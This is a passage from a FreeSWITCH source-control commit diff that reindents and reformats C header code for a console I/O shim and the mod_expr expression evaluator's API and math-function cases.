- LIGHTGRAY,
- DARKGRAY,
- LIGHTBLUE,
- LIGHTGREEN,
- LIGHTCYAN,
- LIGHTRED,
- LIGHTMAGENTA,
- YELLOW,
- WHITE
-} COLORS;
+ typedef enum {
+ BLACK,
+ BLUE,
+ GREEN,
+ CYAN,
+ RED,
+ MAGENTA,
+ BROWN,
+ LIGHTGRAY,
+ DARKGRAY,
+ LIGHTBLUE,
+ LIGHTGREEN,
+ LIGHTCYAN,
+ LIGHTRED,
+ LIGHTMAGENTA,
+ YELLOW,
+ WHITE
+ } COLORS;
#define cgets _cgets
@@ -49,17 +48,16 @@
/* blinkvideo */
-void clreol (void);
-void clrscr (void);
+ void clreol(void);
+ void clrscr(void);
-int _conio_gettext (int left, int top, int right, int bottom,
- char *str);
+ int _conio_gettext(int left, int top, int right, int bottom, char *str);
/* _conio_kbhit */
-void delline (void);
+ void delline(void);
/* gettextinfo */
-void gotoxy(int x, int y);
+ void gotoxy(int x, int y);
/*
highvideo
insline
@@ -69,9 +67,9 @@
normvideo
*/
-void gotoxy(int x, int y);
+ void gotoxy(int x, int y);
-void puttext (int left, int top, int right, int bottom, char *str);
+ void puttext(int left, int top, int right, int bottom, char *str);
// Screen Variables
@@ -89,19 +87,19 @@
ScreenVisualBell
_set_screen_lines */
-void _setcursortype (int type);
+ void _setcursortype(int type);
-void textattr (int _attr);
+ void textattr(int _attr);
-void textbackground (int color);
+ void textbackground(int color);
-void textcolor (int color);
+ void textcolor(int color);
/* textmode */
-int wherex (void);
+ int wherex(void);
-int wherey (void);
+ int wherey(void);
/* window */
@@ -135,27 +133,26 @@
*
*/
-char* _cgets (char*);
-int _cprintf (const char*, ...);
-int _cputs (const char*);
-int _cscanf (char*, ...);
+ char *_cgets(char *);
+ int _cprintf(const char *, ...);
+ int _cputs(const char *);
+ int _cscanf(char *, ...);
-int _getch (void);
-int _getche (void);
-int _kbhit (void);
-int _putch (int);
-int _ungetch (int);
+ int _getch(void);
+ int _getche(void);
+ int _kbhit(void);
+ int _putch(int);
+ int _ungetch(int);
-int getch (void);
-int getche (void);
-int kbhit (void);
-int putch (int);
-int ungetch (int);
+ int getch(void);
+ int getche(void);
+ int kbhit(void);
+ int putch(int);
+ int ungetch(int);
#ifdef __cplusplus
}
#endif
-
-#endif /* _CONIO_H_ */
+#endif /* _CONIO_H_ */
Modified: freeswitch/trunk/src/mod/applications/mod_expr/expreval.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_expr/expreval.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/expreval.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -19,7 +19,7 @@
/* Define type of data to use */
-typedef double EXPRTYPE;
+ typedef double EXPRTYPE;
/* Defines for various things */
@@ -27,101 +27,96 @@
#define EXPR_MAXIDENTSIZE 255
/* Error values */
-enum
- {
- EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
- EXPR_ERROR_NOERROR = 0, /* No Error */
- EXPR_ERROR_MEMORY, /* Memory allocation failed */
- EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
- EXPR_ERROR_NOTFOUND, /* Item not found in a list */
- EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
- EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
- EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
- EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
- EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
- EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
- EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
- EXPR_ERROR_SYNTAX, /* Syntax error in expression */
- EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
- EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
- EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
- EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
- EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
- EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
- EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
- EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
- EXPR_ERROR_BREAK, /* Expression was broken by break function */
- EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
- EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
- EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
+ enum {
+ EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
+ EXPR_ERROR_NOERROR = 0, /* No Error */
+ EXPR_ERROR_MEMORY, /* Memory allocation failed */
+ EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
+ EXPR_ERROR_NOTFOUND, /* Item not found in a list */
+ EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
+ EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
+ EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
+ EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
+ EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
+ EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
+ EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
+ EXPR_ERROR_SYNTAX, /* Syntax error in expression */
+ EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
+ EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
+ EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
+ EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
+ EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
+ EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
+ EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
+ EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
+ EXPR_ERROR_BREAK, /* Expression was broken by break function */
+ EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
+ EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
+ EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
- EXPR_ERROR_USER /* Custom errors should be larger than this */
- };
+ EXPR_ERROR_USER /* Custom errors should be larger than this */
+ };
/* Macros */
/* Forward declarations */
-typedef struct _exprNode exprNode;
-typedef struct _exprFuncList exprFuncList;
-typedef struct _exprValList exprValList;
-typedef struct _exprObj exprObj;
+ typedef struct _exprNode exprNode;
+ typedef struct _exprFuncList exprFuncList;
+ typedef struct _exprValList exprValList;
+ typedef struct _exprObj exprObj;
/* Function types */
-typedef int (*exprFuncType)(exprObj *obj, exprNode *nodes, int nodecount, EXPRTYPE **refs, int refcount, EXPRTYPE *val);
-typedef int (*exprBreakFuncType)(exprObj *obj);
+ typedef int (*exprFuncType) (exprObj * obj, exprNode * nodes, int nodecount, EXPRTYPE ** refs, int refcount, EXPRTYPE * val);
+ typedef int (*exprBreakFuncType) (exprObj * obj);
/* Functions */
/* Version information function */
-void exprGetVersion(int *major, int *minor);
+ void exprGetVersion(int *major, int *minor);
/* Functions for function lists */
-int exprFuncListCreate(exprFuncList **flist);
-int exprFuncListAdd(exprFuncList *flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
-int exprFuncListFree(exprFuncList *flist);
-int exprFuncListClear(exprFuncList *flist);
-int exprFuncListInit(exprFuncList *flist);
+ int exprFuncListCreate(exprFuncList ** flist);
+ int exprFuncListAdd(exprFuncList * flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
+ int exprFuncListFree(exprFuncList * flist);
+ int exprFuncListClear(exprFuncList * flist);
+ int exprFuncListInit(exprFuncList * flist);
/* Functions for value lists */
-int exprValListCreate(exprValList **vlist);
-int exprValListAdd(exprValList *vlist, char *name, EXPRTYPE val);
-int exprValListSet(exprValList *vlist, char *name, EXPRTYPE val);
-int exprValListGet(exprValList *vlist, char *name, EXPRTYPE *val);
-int exprValListAddAddress(exprValList *vlist, char *name, EXPRTYPE *addr);
-int exprValListGetAddress(exprValList *vlist, char *name, EXPRTYPE **addr);
-void *exprValListGetNext(exprValList *vlist, char **name, EXPRTYPE *value, EXPRTYPE** addr, void *cookie);
-int exprValListFree(exprValList *vlist);
-int exprValListClear(exprValList *vlist);
-int exprValListInit(exprValList *vlist);
+ int exprValListCreate(exprValList ** vlist);
+ int exprValListAdd(exprValList * vlist, char *name, EXPRTYPE val);
+ int exprValListSet(exprValList * vlist, char *name, EXPRTYPE val);
+ int exprValListGet(exprValList * vlist, char *name, EXPRTYPE * val);
+ int exprValListAddAddress(exprValList * vlist, char *name, EXPRTYPE * addr);
+ int exprValListGetAddress(exprValList * vlist, char *name, EXPRTYPE ** addr);
+ void *exprValListGetNext(exprValList * vlist, char **name, EXPRTYPE * value, EXPRTYPE ** addr, void *cookie);
+ int exprValListFree(exprValList * vlist);
+ int exprValListClear(exprValList * vlist);
+ int exprValListInit(exprValList * vlist);
/* Functions for expression objects */
-int exprCreate(exprObj **obj, exprFuncList *flist, exprValList *vlist, exprValList *clist,
- exprBreakFuncType breaker, void *userdata);
-int exprFree(exprObj *obj);
-int exprClear(exprObj *obj);
-int exprParse(exprObj *obj, char *expr);
-int exprEval(exprObj *obj, EXPRTYPE *val);
-int exprEvalNode(exprObj *obj, exprNode *nodes, int curnode, EXPRTYPE *val);
-exprFuncList *exprGetFuncList(exprObj *obj);
-exprValList *exprGetVarList(exprObj *obj);
-exprValList *exprGetConstList(exprObj *obj);
-exprBreakFuncType exprGetBreakFunc(exprObj *obj);
-int exprGetBreakResult(exprObj *obj);
-void* exprGetUserData(exprObj *obj);
-void exprSetUserData(exprObj *obj, void *userdata);
-void exprSetBreakCount(exprObj *obj, int count);
-void exprGetErrorPosition(exprObj *obj, int *start, int *end);
+ int exprCreate(exprObj ** obj, exprFuncList * flist, exprValList * vlist, exprValList * clist, exprBreakFuncType breaker, void *userdata);
+ int exprFree(exprObj * obj);
+ int exprClear(exprObj * obj);
+ int exprParse(exprObj * obj, char *expr);
+ int exprEval(exprObj * obj, EXPRTYPE * val);
+ int exprEvalNode(exprObj * obj, exprNode * nodes, int curnode, EXPRTYPE * val);
+ exprFuncList *exprGetFuncList(exprObj * obj);
+ exprValList *exprGetVarList(exprObj * obj);
+ exprValList *exprGetConstList(exprObj * obj);
+ exprBreakFuncType exprGetBreakFunc(exprObj * obj);
+ int exprGetBreakResult(exprObj * obj);
+ void *exprGetUserData(exprObj * obj);
+ void exprSetUserData(exprObj * obj, void *userdata);
+ void exprSetBreakCount(exprObj * obj, int count);
+ void exprGetErrorPosition(exprObj * obj, int *start, int *end);
/* Other useful routines */
-int exprValidIdent(char *name);
+ int exprValidIdent(char *name);
/* Name mangling */
#ifdef __cplusplus
}
#endif
-
-
-
-#endif /* __BAVII_EXPREVAL_H */
+#endif /* __BAVII_EXPREVAL_H */
Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -38,1027 +38,910 @@
/* abs */
case EXPR_NODEFUNC_ABS:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- if(d1 >= 0)
- *val = d1;
- else
- *val = -d1;
- }
- else
- return err;
+ if (!err) {
+ if (d1 >= 0)
+ *val = d1;
+ else
+ *val = -d1;
+ } else
+ return err;
- break;
- }
+ break;
+}
/* mod */
case EXPR_NODEFUNC_MOD:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = fmod(d1, d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = fmod(d1, d2);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* ipart */
case EXPR_NODEFUNC_IPART:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- modf(d1, val);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ modf(d1, val);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* fpart */
case EXPR_NODEFUNC_FPART:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = modf(d1, &d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = modf(d1, &d2);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* min */
case EXPR_NODEFUNC_MIN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- for(pos = 1; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
- if(!err)
- {
- if(d2 < d1)
- d1 = d2;
- }
- else
- return err;
- }
- }
- else
- return err;
+ if (!err) {
+ for (pos = 1; pos < nodes->data.function.nodecount; pos++) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
+ if (!err) {
+ if (d2 < d1)
+ d1 = d2;
+ } else
+ return err;
+ }
+ } else
+ return err;
- *val = d1;
+ *val = d1;
- break;
- }
+ break;
+}
/* max */
case EXPR_NODEFUNC_MAX:
- {
- int tmppos;
+{
+ int tmppos;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- for(tmppos = 1; tmppos < nodes->data.function.nodecount; tmppos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, &d2);
- if(!err)
- {
- if(d2 > d1)
- d1 = d2;
- }
- else
- return err;
- }
- }
- else
- return err;
+ if (!err) {
+ for (tmppos = 1; tmppos < nodes->data.function.nodecount; tmppos++) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, &d2);
+ if (!err) {
+ if (d2 > d1)
+ d1 = d2;
+ } else
+ return err;
+ }
+ } else
+ return err;
- *val = d1;
+ *val = d1;
- break;
- }
+ break;
+}
/* pow */
case EXPR_NODEFUNC_POW:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = pow(d1, d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = pow(d1, d2);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* sqrt */
case EXPR_NODEFUNC_SQRT:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sqrt(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- break;
- }
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = sqrt(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
+ break;
+}
+
/* sin */
case EXPR_NODEFUNC_SIN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sin(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = sin(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* sinh */
case EXPR_NODEFUNC_SINH:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sinh(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = sinh(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* asin */
case EXPR_NODEFUNC_ASIN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = asin(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = asin(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* cos */
-case EXPR_NODEFUNC_COS:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_COS:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = cos(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = cos(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* cosh */
-case EXPR_NODEFUNC_COSH:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_COSH:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = cosh(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = cosh(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* acos */
-case EXPR_NODEFUNC_ACOS:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_ACOS:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = acos(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = acos(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* tan */
-case EXPR_NODEFUNC_TAN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_TAN:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = tan(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = tan(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* tanh */
-case EXPR_NODEFUNC_TANH:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_TANH:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = tanh(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = tanh(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* atan */
-case EXPR_NODEFUNC_ATAN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_ATAN:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = atan(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = atan(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* atan2 */
-case EXPR_NODEFUNC_ATAN2:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_ATAN2:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = atan2(d1, d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = atan2(d1, d2);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* log */
-case EXPR_NODEFUNC_LOG:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_LOG:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = log10(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = log10(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* pow10 */
-case EXPR_NODEFUNC_POW10:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_POW10:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = pow(10.0, d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = pow(10.0, d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* ln */
-case EXPR_NODEFUNC_LN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_LN:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = log(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = log(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
/* exp */
-case EXPR_NODEFUNC_EXP:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_EXP:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = exp(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = exp(d1);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
- break;
- }
+ break;
+}
-case EXPR_NODEFUNC_LOGN:
- {
- EXPRTYPE l1, l2;
+case EXPR_NODEFUNC_LOGN:
+{
+ EXPRTYPE l1, l2;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(!err)
- {
- EXPR_RESET_ERR();
- l1 = log(d1);
- EXPR_CHECK_ERR();
- l2 = log(d2);
- EXPR_CHECK_ERR();
+ if (!err) {
+ EXPR_RESET_ERR();
+ l1 = log(d1);
+ EXPR_CHECK_ERR();
+ l2 = log(d2);
+ EXPR_CHECK_ERR();
- if(l2 == 0.0)
- {
+ if (l2 == 0.0) {
#if(EXPR_ERROR_LEVEL >= EXPR_ERROR_LEVEL_CHECK)
- return EXPR_ERROR_OUTOFRANGE;
+ return EXPR_ERROR_OUTOFRANGE;
#else
- *val = 0.0;
- return EXPR_ERROR_NOERROR;
+ *val = 0.0;
+ return EXPR_ERROR_NOERROR;
#endif
- }
+ }
- *val = l1 / l2;
- }
- else
- return err;
+ *val = l1 / l2;
+ } else
+ return err;
- break;
- }
+ break;
+}
/* ceil */
-case EXPR_NODEFUNC_CEIL:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_CEIL:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- *val = ceil(d1);
- }
- else
- return err;
+ if (!err) {
+ *val = ceil(d1);
+ } else
+ return err;
- break;
- }
+ break;
+}
/* floor */
-case EXPR_NODEFUNC_FLOOR:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+case EXPR_NODEFUNC_FLOOR:
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- *val = floor(d1);
- }
- else
- return err;
+ if (!err) {
+ *val = floor(d1);
+ } else
+ return err;
- break;
- }
+ break;
+}
/* rand */
case EXPR_NODEFUNC_RAND:
- {
- long a;
-
- /* Perform random routine directly */
- a = ((long)(*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
- *(nodes->data.function.refs[0]) = (EXPRTYPE)a;
+{
+ long a;
- *val = (EXPRTYPE)((a >> 16) & 0x7FFF) / (EXPRTYPE)(32768);
- break;
- }
+ /* Perform random routine directly */
+ a = ((long) (*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
+ *(nodes->data.function.refs[0]) = (EXPRTYPE) a;
+ *val = (EXPRTYPE) ((a >> 16) & 0x7FFF) / (EXPRTYPE) (32768);
+ break;
+}
+
/* random */
case EXPR_NODEFUNC_RANDOM:
- {
- EXPRTYPE diff, rval;
- long a;
+{
+ EXPRTYPE diff, rval;
+ long a;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(!err)
- {
- diff = d2 - d1;
+ if (!err) {
+ diff = d2 - d1;
- /* Perform random routine directly */
- a = ((long)(*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
- *(nodes->data.function.refs[0]) = (EXPRTYPE)a;
+ /* Perform random routine directly */
+ a = ((long) (*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
+ *(nodes->data.function.refs[0]) = (EXPRTYPE) a;
- rval = (EXPRTYPE)((a >> 16) & 0x7FFF) / (EXPRTYPE)(32767);
+ rval = (EXPRTYPE) ((a >> 16) & 0x7FFF) / (EXPRTYPE) (32767);
- *val = (rval * diff) + d1;
- }
- else
- return err;
+ *val = (rval * diff) + d1;
+ } else
+ return err;
- break;
- }
+ break;
+}
/* randomize */
case EXPR_NODEFUNC_RANDOMIZE:
- {
- static int curcall = 0;
+{
+ static int curcall = 0;
- curcall++;
+ curcall++;
- *(nodes->data.function.refs[0]) = (EXPRTYPE)((clock() + 1024 + curcall) * time(NULL));
+ *(nodes->data.function.refs[0]) = (EXPRTYPE) ((clock() + 1024 + curcall) * time(NULL));
- break;
- }
+ break;
+}
/* deg */
case EXPR_NODEFUNC_DEG:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- *val = (180.0 * d1) / M_PI;
- }
- else
- return err;
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- break;
- }
+ if (!err) {
+ *val = (180.0 * d1) / M_PI;
+ } else
+ return err;
+ break;
+}
+
/* rad */
case EXPR_NODEFUNC_RAD:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- *val = (M_PI * d1) / 180.0;
- }
- else
- return err;
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- break;
- }
+ if (!err) {
+ *val = (M_PI * d1) / 180.0;
+ } else
+ return err;
+ break;
+}
+
/* recttopolr */
case EXPR_NODEFUNC_RECTTOPOLR:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sqrt((d1 * d1) + (d2 * d2));
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ EXPR_RESET_ERR();
